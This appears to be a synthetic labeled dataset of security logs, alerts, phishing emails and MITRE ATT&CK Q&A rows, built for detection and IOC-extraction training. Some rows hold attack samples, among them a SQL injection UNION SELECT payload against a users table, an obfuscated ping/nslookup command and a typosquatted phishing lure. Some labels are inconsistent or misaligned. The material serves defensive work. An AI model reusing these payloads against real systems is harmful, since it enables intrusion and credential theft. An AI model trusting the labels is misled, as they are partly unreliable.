53 | [MULTI-STAGE ALERT] 2024-11-27 05:14:29 Stage 1 (T1021.006: Windows Remote Management): ecfblqqj-uwfdkqmq.ru contacted from 10.89.191.139 Stage 2 (T1486: Data Encrypted for Impact): Credential hash dfdfa908922c33b6b45e4f623c1aa093 transmitted to 104.63.204.74 Related IOCs: secur32.dll, http://ypedkl4247.xyz/nsgqmihxbdx... | synthetic_zero_day | attack_chain | Lateral Movement,Impact | T1021.006,T1486 | [{"start": 124, "end": 137, "type": "ip", "value": "10.89.191.139"}, {"start": 246, "end": 259, "type": "ip", "value": "104.63.204.74"}, {"start": 198, "end": 230, "type": "hash_md5", "value": "dfdfa908922c33b6b45e4f623c1aa093"}, {"start": 88, "end": 108, "type": "domain", "value": "ecfblqqj-uwfdkqmq.ru"}, {"start": 27... | 0.95 | lateral_movement,impact | true | other | {"techniques": ["T1021.006", "T1486"], "rare_combo": true} |
54 | [2024-01-13 19:54:19] INFO daemon[758] routine check OK | [2024-09-07 10:51:03] INFO daemon[389] routine check OK | [2024-05-23 00:56:05] INFO daemon[508] routine check OK | 2024-07-15 08:56:31 db02 sshd[43481]: Failed password for invalid user ssh_user from 10.255.193.74 port 35338 ssh2 | synthetic_linux | ioc_extraction | Execution | T1059.003 | [{"start": 85, "end": 98, "type": "ip", "value": "10.255.193.74"}] | 0.902952 | execution | true | linux_syslog | {"host": "db02", "user": "ssh_user", "subtype": "auth", "mutation": "noise"} |
55 | 2024-01-04 02:41:53 ACCEPT TCP 104.108.61.72:3869 -> 10.183.219.186:443 len=1203 ttl=81 id=2817 | synthetic_network | ioc_extraction | Command and Control | T1071 | [{"start": 31, "end": 44, "type": "ip", "value": "104.108.61.72"}, {"start": 53, "end": 67, "type": "ip", "value": "10.183.219.186"}] | 0.788193 | c2 | true | firewall | {"src_ip": "104.108.61.72", "dest_ip": "10.183.219.186", "mutation": "none"} |
56 | [2024-06-08 10:10:48] [AUDIT] connection authorized: user=backup database=production application=psql host=10.124.42.192 | synthetic_database | ioc_extraction | Credential Access | T1552.001 | [{"start": 107, "end": 120, "type": "ip", "value": "10.124.42.192"}] | 0.838461 | credential_access | true | database | {"db_type": "mysql", "user": "backup"} |
57 | type=SYSCALL msg=audit(2024-04-12T21:34:05.744270487): arch=c000003e syscall=2 success=yes exit=3 a0=7f... a1=80000 a2=1b6 a3=0 items=1 ppid=8371 pid=57989 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key="usercmd" | synthetic_linux | log_classification | none | none | [] | 0.116813 | none | false | linux_syslog | {"host": "db02", "user": "admin", "subtype": "auditd", "mutation": "none"} |
58 | [ALERT] 2024-07-11 07:30:03 EDR_AGENT="Microsoft Defender" HOST="WS-8416" THREAT="Defense Evasion" TECH="T1055" DESC="Process injection detected: notepad.exe injected into svchost.exe" SEVERITY="HIGH" SRC_PID=96758 DST_PID=81236 | synthetic_edr | ioc_extraction | Defense Evasion | T1055 | [{"start": 146, "end": 157, "type": "domain", "value": "notepad.exe"}, {"start": 172, "end": 183, "type": "domain", "value": "svchost.exe"}] | 0.954844 | defense_evasion | true | edr | {"vendor": "Carbon Black"} |
59 | {"eventType": "policy.evaluate_sign_on", "outcome": {"result": "SUCCESS", "reason": "Sign-on policy evaluation was skipped for known device"}, "actor": {"alternateId": "it-support754@outlook.com"}, "client": {"ipAddress": "185.77.110.186", "device": "Unknown Device"}, "published": "2024-06-03 02:01:32"} | synthetic_iam | ioc_extraction | Initial Access | T1078 | [{"start": 223, "end": 237, "type": "ip", "value": "185.77.110.186"}, {"start": 15, "end": 30, "type": "domain", "value": "policy.evaluate"}] | 0.881165 | initial_access | true | iam | {"provider": "azure_ad", "user": "it-support754@outlook.com"} |
60 | [MULTI-STAGE ALERT] 2024-02-12 13:08:49 Stage 1 (T1021.006: Windows Remote Management): x4830081.top contacted from 10.143.119.246 Stage 2 (T1486: Data Encrypted for Impact): Credential hash 8df4e328b3af9aadd5a1aafd6c071505 transmitted to 185.152.117.247 Related IOCs: ole32.dll, https://xfnuaovmedtagcxoca.org/fpkwdx.dl... | synthetic_zero_day | attack_chain | Lateral Movement,Impact | T1021.006,T1486 | [{"start": 116, "end": 130, "type": "ip", "value": "10.143.119.246"}, {"start": 239, "end": 254, "type": "ip", "value": "185.152.117.247"}, {"start": 191, "end": 223, "type": "hash_md5", "value": "8df4e328b3af9aadd5a1aafd6c071505"}, {"start": 88, "end": 100, "type": "domain", "value": "x4830081.top"}, {"start": 269, "e... | 0.95 | lateral_movement,impact | true | other | {"techniques": ["T1021.006", "T1486"], "rare_combo": true} |
61 | [SYSMON] cmd.exe /c ping 193 . 156 . 57 . 224 && nslookup x9685508 [.] top | synthetic_adversarial | anomaly_detection | Defense Evasion | T1027 | [{"start": 9, "end": 16, "type": "domain", "value": "cmd.exe"}] | 0.92 | defense_evasion | true | other | {"evasion_type": "token_boundary", "anti_model": true} |
62 | [MULTI-STAGE ALERT] 2024-04-22 13:49:59 Stage 1 (T1055.012: Process Hollowing): zgydzi5100.xyz contacted from 10.39.96.234 Stage 2 (T1071.004: DNS): Credential hash a7561d220a7f2e74528ef49c3aac3e32 transmitted to 10.62.214.71 Related IOCs: setup.exe, https://xaagqrytkepzz.com/tjkhmgtvjmsqlqg.exe | synthetic_zero_day | attack_chain | Defense Evasion,Command and Control | T1055.012,T1071.004 | [{"start": 110, "end": 122, "type": "ip", "value": "10.39.96.234"}, {"start": 213, "end": 225, "type": "ip", "value": "10.62.214.71"}, {"start": 165, "end": 197, "type": "hash_md5", "value": "a7561d220a7f2e74528ef49c3aac3e32"}, {"start": 80, "end": 94, "type": "domain", "value": "zgydzi5100.xyz"}, {"start": 240, "end":... | 0.95 | defense_evasion,c2 | true | other | {"techniques": ["T1055.012", "T1071.004"], "rare_combo": true} |
63 | {"time": "2024-10-01 00:22:19", "resourceId": "/SUBSCRIPTIONS/b4941bfe-6e86-ff98-ce1d-6868a7802066/RESOURCEGROUPS/CORP-RG/PROVIDERS/MICROSOFT.COMPUTE/VIRTUALMACHINES/VM-DB01", "category": "Administrative", "operationName": "MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE", "activityDisplayName": "Create or Update Virtual Machi... | synthetic_cloud | ioc_extraction | Defense Evasion | T1535 | [{"start": 402, "end": 415, "type": "ip", "value": "185.92.66.245"}, {"start": 132, "end": 149, "type": "domain", "value": "MICROSOFT.COMPUTE"}, {"start": 224, "end": 241, "type": "domain", "value": "MICROSOFT.COMPUTE"}, {"start": 371, "end": 379, "type": "domain", "value": "evil.com"}] | 0.933015 | defense_evasion | true | cloud_azure | {"provider": "azure", "event_source": "azure"} |
64 | Subject: [patch@32376] VMS symbolic links part 4 of 4 - Final part From: "John E. Malmberg" <ho0ebg@qsl.net> To: "Craig A. Berry" <koumn.u.graly@gmail.com>, "Perl 5 Porters (E-Mail)" <qtog3-epoawmh@perl.org>, suvcxfa@perl.org, Ken Williams <eyjhpliev@cpan.org> Final installment for implementing symbolic links in Perl o... | public_phishing | phishing_detection | none | none | [] | 0.1 | none | false | email | {"dataset": "seven-phishing-email-datasets"} |
65 | Sysmon Event 1: Process Create UtcTime: 2024-04-06 06:38:11 ProcessGuid: {6e75166b-dd4c-b8c6-dbb1-dfa68168724b} ProcessId: 22334 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -ExecutionPolicy Bypass -File C:\Scripts\backup.ps1 User: NT AUTHORITY\Administrator LogonId: 6198... | synthetic_windows | log_classification | none | none | [] | 0.141351 | none | false | windows_event | {"process": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "user": "Administrator", "mutation": "none", "cmdline": "powershell.exe -ExecutionPolicy Bypass -File C:\\Scripts\\backup.ps1"} |
66 | [2024-09-10 04:31:35] [LOG] automatic vacuum of table "public.orders": index scans: 1 pages: 1232 removed: 0 | synthetic_database | log_classification | none | none | [] | 0.095143 | none | false | database | {"db_type": "mssql", "user": "readonly"} |
67 | Subject: Urgent: Security alert From: noreply@company.com To: security384@cloudservices.io Date: 2024-12-18 08:19:52 Hello, this is a routine notification. No action is required. | synthetic_email | log_classification | none | none | [] | 0.026013 | none | false | email | {"sender": "noreply@company.com", "receiver": "security384@cloudservices.io", "mutation": "none"} |
68 | type=SYSCALL msg=audit(2024-05-18T14:19:32.445690446): arch=c000003e syscall=2 success=yes exit=3 a0=7f... a1=80000 a2=1b6 a3=0 items=1 ppid=5931 pid=32183 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key="usercmd" | synthetic_linux | log_classification | none | none | [] | 0.026572 | none | false | linux_syslog | {"host": "fw01", "user": "backup", "subtype": "auditd", "mutation": "none"} |
69 | [SPLUNK] 2024-04-17 22:56:00 host=web-19 source=/var/log/apache2/access.log 10.187.99.50 - - [2024-04-01 07:54:56] "GET /api/v1/resource?token=e8545ed84b0b9ced21a98323ae99ed6029422d4bf0adde0deed0b591d10b259c HTTP/1.1" 200 1024 "-" "Mozilla/5.0" | base64_decode=6b34f0f60a2c11831b0d52f2b4f9ed78 | url_decode=cde36a1ad5bf4... | synthetic_advanced_adversarial | anomaly_detection | Defense Evasion | T1027 | [{"start": 76, "end": 88, "type": "ip", "value": "10.187.99.50"}, {"start": 143, "end": 175, "type": "hash_md5", "value": "e8545ed84b0b9ced21a98323ae99ed60"}, {"start": 175, "end": 207, "type": "hash_md5", "value": "29422d4bf0adde0deed0b591d10b259c"}, {"start": 261, "end": 293, "type": "hash_md5", "value": "6b34f0f60a2... | 0.94 | defense_evasion | true | other | {"evasion_type": "nested_encoding", "layers": 3} |
70 | 2024-02-16 17:53:39 WAF ALLOW client=10.184.215.44 rule_id=200000 msg='Request allowed' uri='/api/health' method=GET severity=INFO | synthetic_waf | log_classification | none | none | [] | 0.079014 | none | false | waf | {"rule_triggered": false} |
71 | [ALERT] 2024-11-28 09:32:43 User=noreply635@internal.corp uploaded image=profile_5340c0b5.png size=2.1MB dimensions=1x1 EXIF_data_len=1048576 entropy=7.99 | LSB extraction detected: embedded_PE_header=4D5A | synthetic_advanced_adversarial | anomaly_detection | Defense Evasion | T1027 | [{"start": 81, "end": 93, "type": "domain", "value": "5340c0b5.png"}] | 0.94 | defense_evasion | true | other | {"evasion_type": "steganography", "layers": 4} |
72 | Sysmon Event 1: Process Create UtcTime: 2024-12-19 04:51:49 ProcessGuid: {72a47d27-1505-c5c7-5cb8-35f6664eb1eb} ProcessId: 21318 Image: C:\Windows\explorer.exe CommandLine: C:\Windows\explorer.exe User: NT AUTHORITY\SYSTEM LogonId: 705930 IntegrityLevel: Low Hashes: MD5=de42edbedd41749de4ea9e1a1048e62dc1fc5ede6f0daff66... | synthetic_windows | log_classification | none | none | [] | 0.165289 | none | false | windows_event | {"process": "C:\\Windows\\explorer.exe", "user": "SYSTEM", "mutation": "none", "cmdline": "C:\\Windows\\explorer.exe"} |
73 | [System Maintenance] EventID=4688 New process created: C:\Windows\System32\csrss.exe (PID: 44650, Parent: C:\Windows\System32\csrss.exe, User: sql_svc, CommandLine: C:\Windows\System32\csrss.exe, IP: 185.130.141.136) | synthetic_windows | ioc_extraction | Credential Access | T1003.001 | [{"start": 179, "end": 194, "type": "ip", "value": "185.130.141.136"}, {"start": 54, "end": 63, "type": "domain", "value": "csrss.exe"}, {"start": 105, "end": 114, "type": "domain", "value": "csrss.exe"}, {"start": 164, "end": 173, "type": "domain", "value": "csrss.exe"}] | 0.950192 | credential_access | true | windows_event | {"process": "C:\\Windows\\System32\\csrss.exe", "user": "sql_svc", "mutation": "context_poison", "cmdline": "C:\\Windows\\System32\\csrss.exe"} |
74 | [2024-09-17 02:13:46] FIM ALERT host=WS-8426 path=C:\Windows\System32\kernel32.dll action=MODIFIED hash_before=28dac780a823f35c498771164d7ca497 hash_after=cee4cb0c7ff12033055438b3c6d2f833 user=SYSTEM process=svchost.exe | synthetic_fim_dlp | ioc_extraction | T1565 | [{"start": 111, "end": 143, "type": "hash_md5", "value": "28dac780a823f35c498771164d7ca497"}, {"start": 155, "end": 187, "type": "hash_md5", "value": "cee4cb0c7ff12033055438b3c6d2f833"}, {"start": 70, "end": 82, "type": "domain", "value": "kernel32.dll"}, {"start": 208, "end": 219, "type": "domain", "value": "svchost.e... | 0.942166 | none | true | fim | {"alert_type": "fim"} | |
75 | Subject: Password reset request From: billing@papyal.co.uk To: admin465@internal.corp Date: 2024-06-28 07:52:40 Dear user, we noticed unusual activity. Please verify: https://f@ceb00k.com/verify?token=18b150e65b79e1c0 Failure to verify within 24 hours will result in suspension. | synthetic_email | phishing_detection | Initial Access | T1566 | [{"start": 46, "end": 58, "type": "domain", "value": "papyal.co.uk"}, {"start": 177, "end": 187, "type": "domain", "value": "ceb00k.com"}] | 0.941333 | initial_access | true | email | {"sender": "billing@papyal.co.uk", "receiver": "admin465@internal.corp", "mutation": "none"} |
76 | {"eventVersion": "1.08", "eventTime": "2024-07-31 02:23:54", "eventSource": "s3.amazonaws.com", "eventName": "GetObject", "awsRegion": "us-east-1", "sourceIPAddress": "10.255.138.156", "userAgent": "aws-sdk-java/1.11.0", "requestParameters": {"bucketName": "legitimate-bucket", "key": "reports/monthly.pdf"}, "responseEl... | synthetic_cloud | log_classification | none | none | [] | 0.056134 | none | false | cloud_aws | {"provider": "aws", "event_source": "aws"} |
77 | 2024-03-03 11:00:31 DNS query client=10.245.151.209 query=x7zvjlvpkaj36couz6eg292k7bpzfemuhadr9zb4gd4fxsul.gtcfbyedloaynye.org type=TXT response_len=1430 (NOERROR) queries_per_minute=345 | synthetic_advanced_dns | ioc_extraction | Command and Control | T1071.004 | [{"start": 37, "end": 51, "type": "ip", "value": "10.245.151.209"}, {"start": 58, "end": 126, "type": "domain", "value": "x7zvjlvpkaj36couz6eg292k7bpzfemuhadr9zb4gd4fxsul.gtcfbyedloaynye.org"}] | 0.951201 | c2 | true | dns | {"tunneling": true, "entropy_check": true} |
78 | {"level":"error","ts":"2024-04-08 19:21:33","caller":"audit","msg":"Privileged container created","pod":"web-app-605","namespace":"production","spec":{"securityContext":{"privileged":true,"runAsRoot":true},"hostPID":true,"hostNetwork":true},"user":"user604@gmail.com"} | synthetic_kubernetes | log_classification | T1610 | [] | 0.927048 | none | true | kubernetes | {"namespace": "production", "pod": "web-app"} | |
79 | Hash check: MD5=8c5829d4669b52f24fe39774ed422e48 file=C:\Windows\System32\kernel32.dll | synthetic_false_positive | log_classification | none | none | [] | 0.1 | none | false | other | {"fp_type": "benign_looks_malicious", "internal": true} |
80 | {"eventType": "user.authentication.auth_via_mfa", "outcome": {"result": "SUCCESS"}, "actor": {"alternateId": "sre55@outlook.com", "displayName": "sre55"}, "client": {"ipAddress": "10.127.96.187", "userAgent": {"os": "Mac OS X", "browser": "SAFARI"}, "geographicalContext": {"country": "United States", "city": "San Franc... | synthetic_iam | log_classification | none | none | [] | 0.076996 | none | false | iam | {"provider": "okta", "user": "sre55@outlook.com"} |
81 | 2024-05-09 17:12:04 836479 10.48.37.229:42086 -> 45.38.241.110:80 TCP 4996 8363319 1271 SYN | synthetic_network | log_classification | none | none | [] | 0.174146 | none | false | netflow | {"src_ip": "10.48.37.229", "dest_ip": "45.38.241.110", "mutation": "none"} |
82 | [VOLATILITY] Process: svchost.exe PID:90561 Injected memory region detected: Base=0xbd3a6c6f Size=0x79d Protection=PAGE_EXECUTE_READWRITE
[YARA] Rule: SUSPICIOUS_Shellcode matched
[STRINGS] Found: 'powershell -enc' at offset 0x2be0727f | synthetic_memory_forensics | ioc_extraction | Defense Evasion | T1055 | [{"start": 22, "end": 33, "type": "domain", "value": "svchost.exe"}] | 0.935207 | defense_evasion | true | memory | {"tool": "Rekall"} |
83 | 2024-06-17 17:25:00 mail01 systemd[3865]: Starting nginx... | synthetic_linux | log_classification | none | none | [] | 0.120588 | none | false | linux_syslog | {"host": "mail01", "user": "www-data", "subtype": "syslog", "mutation": "none"} |
84 | {"level":"info","ts":"2024-04-09 17:56:05","caller":"kubelet","msg":"Container started","pod":"redis-33","namespace":"monitoring","container":"main","image":"nginx:1.21"} | synthetic_kubernetes | log_classification | none | none | [] | 0.06557 | none | false | kubernetes | {"namespace": "monitoring", "pod": "redis"} |
85 | Q: What are the tactics does this technique, Impair Defenses: Disable Windows Event Logging belongs to? A: The technique Impair Defenses: Disable Windows Event Logging belongs to these tactics Defense Evasion | public_mitre_instruction | mitre_classification | none | none | [] | 0.5 | none | true | other | {"format": "instruction"} |
86 | Sysmon Event 13: RegistryEvent SetValue UtcTime: 2024-06-10 20:27:53 TargetObject: HKCU\SOFTWARE\Policies\Microsoft\Windows\System\advapi32.dll Details: C:\Users\Public\setup.exe | synthetic_windows | ioc_extraction | Persistence | T1547.001 | [{"start": 83, "end": 143, "type": "registry_key", "value": "HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\advapi32.dll"}] | 0.75 | persistence | true | windows_event | {"registry_key": "HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\advapi32.dll", "value": "C:\\Users\\Public\\setup.exe"} |
87 | {"protoPayload": {"@type": "type.googleapis.com/google.cloud.audit.AuditLog", "authenticationInfo": {"principalEmail": "admin@hreczmir-quyigspy.ru"}, "requestMetadata": {"callerIp": "10.160.188.32", "callerSuppliedUserAgent": "google-cloud-sdk"}, "serviceName": "compute.googleapis.com", "methodName": "v1.compute.instan... | synthetic_cloud | ioc_extraction | Initial Access | T1078 | [{"start": 183, "end": 196, "type": "ip", "value": "10.160.188.32"}, {"start": 28, "end": 47, "type": "domain", "value": "type.googleapis.com"}, {"start": 48, "end": 75, "type": "domain", "value": "google.cloud.audit.AuditLog"}, {"start": 126, "end": 146, "type": "domain", "value": "hreczmir-quyigspy.ru"}, {"start": 26... | 0.952328 | initial_access | true | cloud_gcp | {"provider": "gcp", "event_source": "gcp"} |
88 | Q: Which platforms does technique, Steal or Forge Kerberos Tickets: Golden Ticket primarily target according to Mitre Attack framework? A: The technique Steal or Forge Kerberos Tickets: Golden Ticket targets or exploits these platforms Windows | public_mitre_instruction | mitre_classification | none | none | [] | 0.5 | none | true | other | {"format": "instruction"} |
89 | [INFO] 2024-01-01 05:18:58 user=admin action=login src=10.214.44.152 status=success [INFO] 2024-01-02 09:45:25 user=admin action=download url=http://cdn.x4581472.top/tool.zip status=success | synthetic_adversarial | anomaly_detection | Defense Evasion | T1027 | [{"start": 55, "end": 68, "type": "ip", "value": "10.214.44.152"}, {"start": 149, "end": 165, "type": "domain", "value": "cdn.x4581472.top"}, {"start": 166, "end": 174, "type": "domain", "value": "tool.zip"}] | 0.92 | defense_evasion | true | other | {"evasion_type": "statistical_mimicry", "anti_model": true} |
90 | Sysmon Event 1: Process Create UtcTime: 2024-08-12 11:21:39 ProcessGuid: {ae5e83ca-a35a-9976-91bc-ac53e030d497} ProcessId: 41314 Image: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\service.exe CommandLine: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\service.exe User: FABRIKAM\sql_svc Lo... | synthetic_windows | log_classification | none | none | [] | 0.083268 | none | false | windows_event | {"process": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\service.exe", "user": "sql_svc", "mutation": "none", "cmdline": "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\service.exe"} |
91 | Subject: *3 FREE Bottles Of VPXL !! From: Demetrius Anthony <EthanliceMonroe@gazettextra.com> To: user3@gvc.ceas-challenge.cc
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Increase both your thickness... | public_phishing | phishing_detection | Initial Access | T1566 | [] | 0.85 | initial_access | true | email | {"dataset": "seven-phishing-email-datasets"} |
92 | Q: What is the description of technique, Unsecured Credentials: Container API according to Mitre Attack framework? A: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resou... | public_mitre_instruction | mitre_classification | none | none | [] | 0.5 | none | true | other | {"format": "instruction"} |
93 | [2024-02-17 16:04:20] FIM ALERT host=WS-8034 path=C:\Windows\System32\mshta.exe action=MODIFIED hash_before=97c98859610736cbb41f7188c30c4e90 hash_after=6d51e721804944b5569ad0eb86f117e4 user=Administrator process=svchost.exe | synthetic_fim_dlp | ioc_extraction | T1565 | [{"start": 108, "end": 140, "type": "hash_md5", "value": "97c98859610736cbb41f7188c30c4e90"}, {"start": 152, "end": 184, "type": "hash_md5", "value": "6d51e721804944b5569ad0eb86f117e4"}, {"start": 70, "end": 79, "type": "domain", "value": "mshta.exe"}, {"start": 212, "end": 223, "type": "domain", "value": "svchost.exe"... | 0.850097 | none | true | fim | {"alert_type": "fim"} | |
94 | [MULTI-STAGE ALERT] 2024-07-25 07:44:56 Stage 1 (T1497: Virtualization/Sandbox Evasion): cdn.lmmnbghz-urrbejgh.ru contacted from 10.145.203.211 Stage 2 (T1562.004: Disable or Modify System Firewall): Credential hash 7c6c6e31a948c3aa84288777c756d970 transmitted to 45.223.234.177 Related IOCs: installer.msi, https://komx... | synthetic_zero_day | attack_chain | Defense Evasion,Defense Evasion | T1497,T1562.004 | [{"start": 129, "end": 143, "type": "ip", "value": "10.145.203.211"}, {"start": 264, "end": 278, "type": "ip", "value": "45.223.234.177"}, {"start": 216, "end": 248, "type": "hash_md5", "value": "7c6c6e31a948c3aa84288777c756d970"}, {"start": 89, "end": 113, "type": "domain", "value": "cdn.lmmnbghz-urrbejgh.ru"}, {"star... | 0.95 | defense_evasion,defense_evasion | true | other | {"techniques": ["T1497", "T1562.004"], "rare_combo": true} |
95 | 2024-10-24 02:58:17 WAF ALERT client=185.7.181.102 rule_id=941100 msg='SQL Injection Attack Detected via libinjection' uri='/api/v1/search?q=b5b263604d%27%20UNION%20SELECT%20username,password%20FROM%20users--' method=GET severity=HIGH | synthetic_waf | ioc_extraction | Execution | T1059 | [{"start": 37, "end": 50, "type": "ip", "value": "185.7.181.102"}] | 0.987055 | execution | true | waf | {"rule_triggered": true} |
96 | Sysmon Event 1: Process Create UtcTime: 2024-07-27 11:46:32 ProcessGuid: {25be6f5e-483d-193e-970b-182e331ccd5d} ProcessId: 31761 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: Get-Process | Where-Object {$_.CPU -gt 100} User: CONTOSO\john.doe LogonId: 700119 IntegrityLevel: Medium Hashes:... | synthetic_windows | log_classification | none | none | [] | 0.193772 | none | false | windows_event | {"process": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", "user": "john.doe", "mutation": "none", "cmdline": "Get-Process | Where-Object {$_.CPU -gt 100}"} |
97 | 2024-06-14 15:48:57 app03 systemd[66674]: Starting nginx... | synthetic_linux | log_classification | none | none | [] | 0.189676 | none | false | linux_syslog | {"host": "app03", "user": "nginx", "subtype": "syslog", "mutation": "none"} |
98 | [MULTI-STAGE ALERT] 2024-05-30 00:03:22 Stage 1 (T1055.012: Process Hollowing): cdn.x1885379.top contacted from 10.48.14.132 Stage 2 (T1071.004: DNS): Credential hash fd5e93ec4bff4df37d79eaa3afde788b transmitted to 185.194.229.192 Related IOCs: winlogon.exe, https://nqwepi7031.xyz/yhpfuh.dll | synthetic_zero_day | attack_chain | Defense Evasion,Command and Control | T1055.012,T1071.004 | [{"start": 112, "end": 124, "type": "ip", "value": "10.48.14.132"}, {"start": 215, "end": 230, "type": "ip", "value": "185.194.229.192"}, {"start": 167, "end": 199, "type": "hash_md5", "value": "fd5e93ec4bff4df37d79eaa3afde788b"}, {"start": 80, "end": 96, "type": "domain", "value": "cdn.x1885379.top"}, {"start": 245, "... | 0.95 | defense_evasion,c2 | true | other | {"techniques": ["T1055.012", "T1071.004"], "rare_combo": true} |
99 | Sysmon Event 13: RegistryEvent SetValue UtcTime: 2024-01-16 14:03:49 TargetObject: HKU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\services.exe Details: C:\Windows\System32\wininet.dll | synthetic_windows | log_classification | none | none | [] | 0.1 | none | false | windows_event | {"registry_key": "HKU\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\services.exe", "value": "C:\\Windows\\System32\\wininet.dll"} |
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